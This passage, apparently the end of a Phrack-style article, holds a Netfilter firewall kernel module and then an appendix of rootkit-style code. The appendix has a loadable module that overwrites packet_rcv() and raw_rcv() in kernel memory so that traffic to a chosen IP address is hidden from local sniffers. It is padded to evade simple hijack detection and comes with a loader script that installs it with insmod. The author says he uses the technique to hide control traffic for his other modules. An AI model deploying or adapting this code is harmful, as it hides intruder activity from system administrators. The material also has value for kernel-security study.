lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
|
|
|
|
printk("\nLWFW: Control device successfully registered.\n");
|
|
|
|
/* Now register the network hooks */
|
|
nfkiller.hook = lwfw_hookfn;
|
|
nfkiller.hooknum = NF_IP_PRE_ROUTING; /* First stage hook */
|
|
nfkiller.pf = PF_INET; /* IPV4 protocol hook */
|
|
nfkiller.priority = NF_IP_PRI_FIRST; /* Hook to come first */
|
|
|
|
/* And register... */
|
|
nf_register_hook(&nfkiller);
|
|
|
|
printk("LWFW: Network hooks successfully installed.\n");
|
|
|
|
printk("LWFW: Module installation successful.\n");
|
|
return 0;
|
|
}
|
|
|
|
void cleanup_module()
|
|
{
|
|
int ret;
|
|
|
|
/* Remove IPV4 hook */
|
|
nf_unregister_hook(&nfkiller);
|
|
|
|
/* Now unregister control device */
|
|
if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {
|
|
printk("LWFW: Removal of module failed!\n");
|
|
}
|
|
|
|
/* If anything was allocated for the deny rules, free it here */
|
|
if (deny_if)
|
|
kfree(deny_if);
|
|
|
|
printk("LWFW: Removal of module successful.\n");
|
|
}
|
|
<-->
|
|
|
|
<++> lwfw/lwfw.h
|
|
/* Include file for the Light-weight Fire Wall LKM.
|
|
*
|
|
* A very simple Netfilter module that drops backets based on either
|
|
* their incoming interface or source IP address.
|
|
*
|
|
* Written by bioforge - March 2003
|
|
*/
|
|
|
|
#ifndef __LWFW_INCLUDE__
|
|
# define __LWFW_INCLUDE__
|
|
|
|
/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.
|
|
* Userspace code has no business knowing about it. */
|
|
# define LWFW_NAME "lwfw"
|
|
|
|
/* Version of LWFW */
|
|
# define LWFW_VERS 0x0001 /* 0.1 */
|
|
|
|
/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will
|
|
* print anything with printk(). This is included for debugging purposes.
|
|
*/
|
|
#define LWFW_TALKATIVE
|
|
|
|
/* These are the IOCTL codes used for the control device */
|
|
#define LWFW_CTRL_SET 0xFEED0000 /* The 0xFEED... prefix is arbitrary */
|
|
#define LWFW_GET_VERS 0xFEED0001 /* Get the version of LWFM */
|
|
#define LWFW_ACTIVATE 0xFEED0002
|
|
#define LWFW_DEACTIVATE 0xFEED0003
|
|
#define LWFW_GET_STATS 0xFEED0004
|
|
#define LWFW_DENY_IF 0xFEED0005
|
|
#define LWFW_DENY_IP 0xFEED0006
|
|
#define LWFW_DENY_PORT 0xFEED0007
|
|
|
|
/* Control flags/Options */
|
|
#define LWFW_IF_DENY_ACTIVE 0x00000001
|
|
#define LWFW_IP_DENY_ACTIVE 0x00000002
|
|
#define LWFW_PORT_DENY_ACTIVE 0x00000004
|
|
|
|
/* Statistics structure for LWFW.
|
|
* Note that whenever a rule's condition is changed the related
|
|
* xxx_dropped field is reset.
|
|
*/
|
|
struct lwfw_stats {
|
|
unsigned int if_dropped; /* Packets dropped by interface rule */
|
|
unsigned int ip_dropped; /* Packets dropped by IP addr. rule */
|
|
unsigned int tcp_dropped; /* Packets dropped by TCP port rule */
|
|
unsigned long total_dropped; /* Total packets dropped */
|
|
unsigned long total_seen; /* Total packets seen by filter */
|
|
};
|
|
|
|
/*
|
|
* From here on is used solely for the actual kernel module
|
|
*/
|
|
#ifdef __KERNEL__
|
|
# define LWFW_MAJOR 241 /* This exists in the experimental range */
|
|
|
|
/* This macro is used to prevent dereferencing of NULL pointers. If
|
|
* a pointer argument is NULL, this will return -EINVAL */
|
|
#define NULL_CHECK(ptr) \
|
|
if ((ptr) == NULL) return -EINVAL
|
|
|
|
/* Macros for accessing options */
|
|
#define DENY_IF_ACTIVE (lwfw_options & LWFW_IF_DENY_ACTIVE)
|
|
#define DENY_IP_ACTIVE (lwfw_options & LWFW_IP_DENY_ACTIVE)
|
|
#define DENY_PORT_ACTIVE (lwfw_options & LWFW_PORT_DENY_ACTIVE)
|
|
|
|
#endif /* __KERNEL__ */
|
|
#endif
|
|
<-->
|
|
|
|
<++> lwfw/Makefile
|
|
CC= egcs
|
|
CFLAGS= -Wall -O2
|
|
OBJS= lwfw.o
|
|
|
|
.c.o:
|
|
$(CC) -c $< -o $@ $(CFLAGS)
|
|
|
|
all: $(OBJS)
|
|
|
|
clean:
|
|
rm -rf *.o
|
|
rm -rf ./*~
|
|
<-->
|
|
|
|
|
|
--[ B - Code for section 6
|
|
|
|
Presented here is a simple module that will hijack the
|
|
packet_rcv() and raw_rcv() functions to hide any packets to
|
|
or from the IP address we specify. The default IP address
|
|
is set to 127.0.0.1, but this can be changed by changing the
|
|
value of the #define IP. Also presented is a bash script
|
|
that will get the addresses for the required functions from a
|
|
System.map file and run insmod with these addresses as
|
|
parameters in the required format. This loader script was
|
|
written by grem. Originally for my Mod-off project, it was
|
|
easily modified to suit the module presented here. Thanks
|
|
again grem.
|
|
|
|
The presented module is proof-of-concept code only and as
|
|
such, does not have anything in the way of module hiding. It
|
|
is also important to remember that although this module can
|
|
hide traffic from a sniffer running on the same host, a
|
|
sniffer on a different host, but on the same LAN segment will
|
|
still see the packets. From what is presented in the module,
|
|
smart readers should have everything they need to design
|
|
filtering functions to block any kind of packets they need. I
|
|
have successfully used the technique presented in this text
|
|
to hide control and information retrieval packets used by my
|
|
other LKM projects.
|
|
|
|
|
|
<++> pcaphide/pcap_block.c
|
|
/* Kernel hack that will hijack the packet_rcv() function
|
|
* which is used to pass packets to Libpcap applications
|
|
* that use PACKET sockets. Also hijacks the raw_rcv()
|
|
* function. This is used to pass packets to applications
|
|
* that open RAW sockets.
|
|
*
|
|
* Written by bioforge - 30th June, 2003
|
|
*/
|
|
|
|
#define MODULE
|
|
#define __KERNEL__
|
|
|
|
#include <linux/config.h>
|
|
#include <linux/module.h>
|
|
#include <linux/kernel.h>
|
|
#include <linux/netdevice.h>
|
|
#include <linux/skbuff.h>
|
|
#include <linux/smp_lock.h>
|
|
#include <linux/ip.h> /* For struct ip */
|
|
#include <linux/if_ether.h> /* For ETH_P_IP */
|
|
|
|
#include <asm/page.h> /* For PAGE_OFFSET */
|
|
|
|
/*
|
|
* IP address to hide 127.0.0.1 in NBO for Intel */
|
|
#define IP htonl(0x7F000001)
|
|
|
|
/* Function pointer for original packet_rcv() */
|
|
static int (*pr)(struct sk_buff *skb, struct net_device *dev,
|
|
struct packet_type *pt);
|
|
MODULE_PARM(pr, "i"); /* Retrieved as insmod parameter */
|
|
|
|
/* Function pointer for original raw_rcv() */
|
|
static int (*rr)(struct sock *sk, struct sk_buff *skb);
|
|
MODULE_PARM(rr, "i");
|
|
|
|
/* Spinlock used for the parts where we un/hijack packet_rcv() */
|
|
static spinlock_t hijack_lock = SPIN_LOCK_UNLOCKED;
|
|
|
|
/* Helper macros for use with the Hijack spinlock */
|
|
#define HIJACK_LOCK spin_lock_irqsave(&hijack_lock, \
|
|
sl_flags)
|
|
#define HIJACK_UNLOCK spin_unlock_irqrestore(&hijack_lock, \
|
|
sl_flags)
|
|
|
|
#define CODESIZE 10
|
|
/* Original and hijack code buffers.
|
|
* Note that the hijack code also provides 3 additional
|
|
* bytes ( inc eax; nop; dec eax ) to try and throw
|
|
* simple hijack detection techniques that just look for
|
|
* a move and a jump. */
|
|
/* For packet_rcv() */
|
|
static unsigned char pr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
|
|
"\x40\x90\x48"
|
|
"\xff\xe0";
|
|
static unsigned char pr_orig[CODESIZE];
|
|
|
|
/* For raw_rcv() */
|
|
static unsigned char rr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
|
|
"\x40\x90\x48"
|
|
"\xff\xe0";
|
|
static unsigned char rr_orig[CODESIZE];
|
|
|
|
/* Replacement for packet_rcv(). This is currently setup to hide
|
|
* all packets with a source or destination IP address that we
|
|
* specify. */
|
|
int hacked_pr(struct sk_buff *skb, struct net_device *dev,
|
|
struct packet_type *pt)
|
|
{
|
|
int sl_flags; /* Flags for spinlock */
|
|
int retval;
|
|
|
|
/* Check if this is an IP packet going to or coming from our
|
|
* hidden IP address. */
|
|
if (skb->protocol == htons(ETH_P_IP)) /* IP packet */
|
|
if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
|
|
return 0; /* Ignore this packet */
|
|
|
|
/* Call original */
|
|
HIJACK_LOCK;
|
|
memcpy((char *)pr, pr_orig, CODESIZE);
|
|
retval = pr(skb, dev, pt);
|
|
memcpy((char *)pr, pr_code, CODESIZE);
|
|
HIJACK_UNLOCK;
|
|
|
|
return retval;
|
|
}
|
|
|
|
/* Replacement for raw_rcv(). This is currently setup to hide
|
|
* all packets with a source or destination IP address that we
|
|
* specify. */
|
|
int hacked_rr(struct sock *sock, struct sk_buff *skb)
|
|
{
|
|
int sl_flags; /* Flags for spinlock */
|
|
int retval;
|
|
|
|
/* Check if this is an IP packet going to or coming from our
|
|
* hidden IP address. */
|
|
if (skb->protocol == htons(ETH_P_IP)) /* IP packet */
|
|
if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
|
|
return 0; /* Ignore this packet */
|
|
|
|
/* Call original */
|
|
HIJACK_LOCK;
|
|
memcpy((char *)rr, rr_orig, CODESIZE);
|
|
retval = rr(sock, skb);
|
|
memcpy((char *)rr, rr_code, CODESIZE);
|
|
HIJACK_UNLOCK;
|
|
|
|
return retval;
|
|
}
|
|
|
|
int init_module()
|
|
{
|
|
int sl_flags; /* Flags for spinlock */
|
|
|
|
/* pr & rr set as module parameters. If zero or < PAGE_OFFSET
|
|
* (which we treat as the lower bound of kernel memory), then
|
|
* we will not install the hacks. */
|
|
if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {
|
|
printk("Address for packet_rcv() not valid! (%08x)\n",
|
|
(int)pr);
|
|
return -1;
|
|
}
|
|
if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {
|
|
printk("Address for raw_rcv() not valid! (%08x)\n",
|
|
(int)rr);
|
|
return -1;
|
|
}
|
|
|
|
*(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;
|
|
*(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;
|
|
|
|
HIJACK_LOCK;
|
|
memcpy(pr_orig, (char *)pr, CODESIZE);
|
|
memcpy((char *)pr, pr_code, CODESIZE);
|
|
memcpy(rr_orig, (char *)rr, CODESIZE);
|
|
memcpy((char *)rr, rr_code, CODESIZE);
|
|
HIJACK_UNLOCK;
|
|
|
|
EXPORT_NO_SYMBOLS;
|
|
|
|
return 0;
|
|
}
|
|
|
|
void cleanup_module()
|
|
{
|
|
int sl_flags;
|
|
|
|
lock_kernel();
|
|
|
|
HIJACK_LOCK;
|
|
memcpy((char *)pr, pr_orig, CODESIZE);
|
|
memcpy((char *)rr, rr_orig, CODESIZE);
|
|
HIJACK_UNLOCK;
|
|
|
|
unlock_kernel();
|
|
}
|
|
<-->
|
|
|
|
<++> pcaphide/loader.sh
|
|
#!/bin/sh
|
|
# Written by grem, 30th June 2003
|
|
# Hacked by bioforge, 30th June 2003
|
|
|
|
if [ "$1" = "" ]; then
|
|
echo "Use: $0 <System.map>";
|
|
exit;
|
|
fi
|
|
|
|
MAP="$1"
|
|
PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`
|
|
RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`
|
|
|
|
if [ "$PR" = "" ]; then
|
|
PR="00000000"
|
|
fi
|
|
if [ "$RR" = "" ]; then
|
|
RR="00000000"
|
|
fi
|
|
|
|
echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"
|
|
|
|
# Now do the actual call to insmod
|
|
insmod pcap_block.o pr=0x$PR rr=0x$RR
|
|
<-->
|
|
|
|
<++> pcaphide/Makefile
|
|
CC= gcc
|
|
CFLAGS= -Wall -O2 -fomit-frame-pointer
|
|
INCLUDES= -I/usr/src/linux/include
|
|
OBJS= pcap_block.o
|
|
|
|
.c.o:
|
|
$(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)
|
|
|
|
all: $(OBJS)
|
|
|
|
clean:
|
|
rm -rf *.o
|
|
rm -rf ./*~
|
|
<-->
|
|
|
|
|
|
------[ References
|
|
|
|
This appendix contains a list of references used in writing this article.
|
|
|
|
[1] The tcpdump group
|
|
http://www.tcpdump.org
|
|
[2] The Packet Factory
|
|
http://www.packetfactory.net
|
|
[3] My network tools page -
|
|
http://uqconnect.net/~zzoklan/software/#net_tools
|
|
[4] Silvio Cesare's Kernel Function Hijacking article
|
|
http://vx.netlux.org/lib/vsc08.html
|
|
[5] Man pages for:
|
|
- raw (7)
|
|
- packet (7)
|
|
- tcpdump (1)
|
|
[6] Linux kernel source files. In particular:
|
|
- net/packet/af_packet.c (for packet_rcv())
|
|
- net/ipv4/raw.c (for raw_rcv())
|
|
- net/core/dev.c
|
|
- net/ipv4/netfilter/*
|
|
[7] Harald Welte's Journey of a packet through the Linux 2.4 network
|
|
stack
|
|
http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html
|
|
[8] The Netfilter documentation page
|
|
http://www.netfilter.org/documentation
|
|
[9] Phrack 55 - File 12 -
|
|
http://www.phrack.org/show.php?p=55&a=12
|
|
[A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.
|
|
[B] Inside the Linux Packet Filter. A Linux Journal article
|
|
http://www.linuxjournal.com/article.php?sid=4852
|
|
|
|
|
|
|=[ EOF ]=---------------------------------------------------------------=|
|
|
|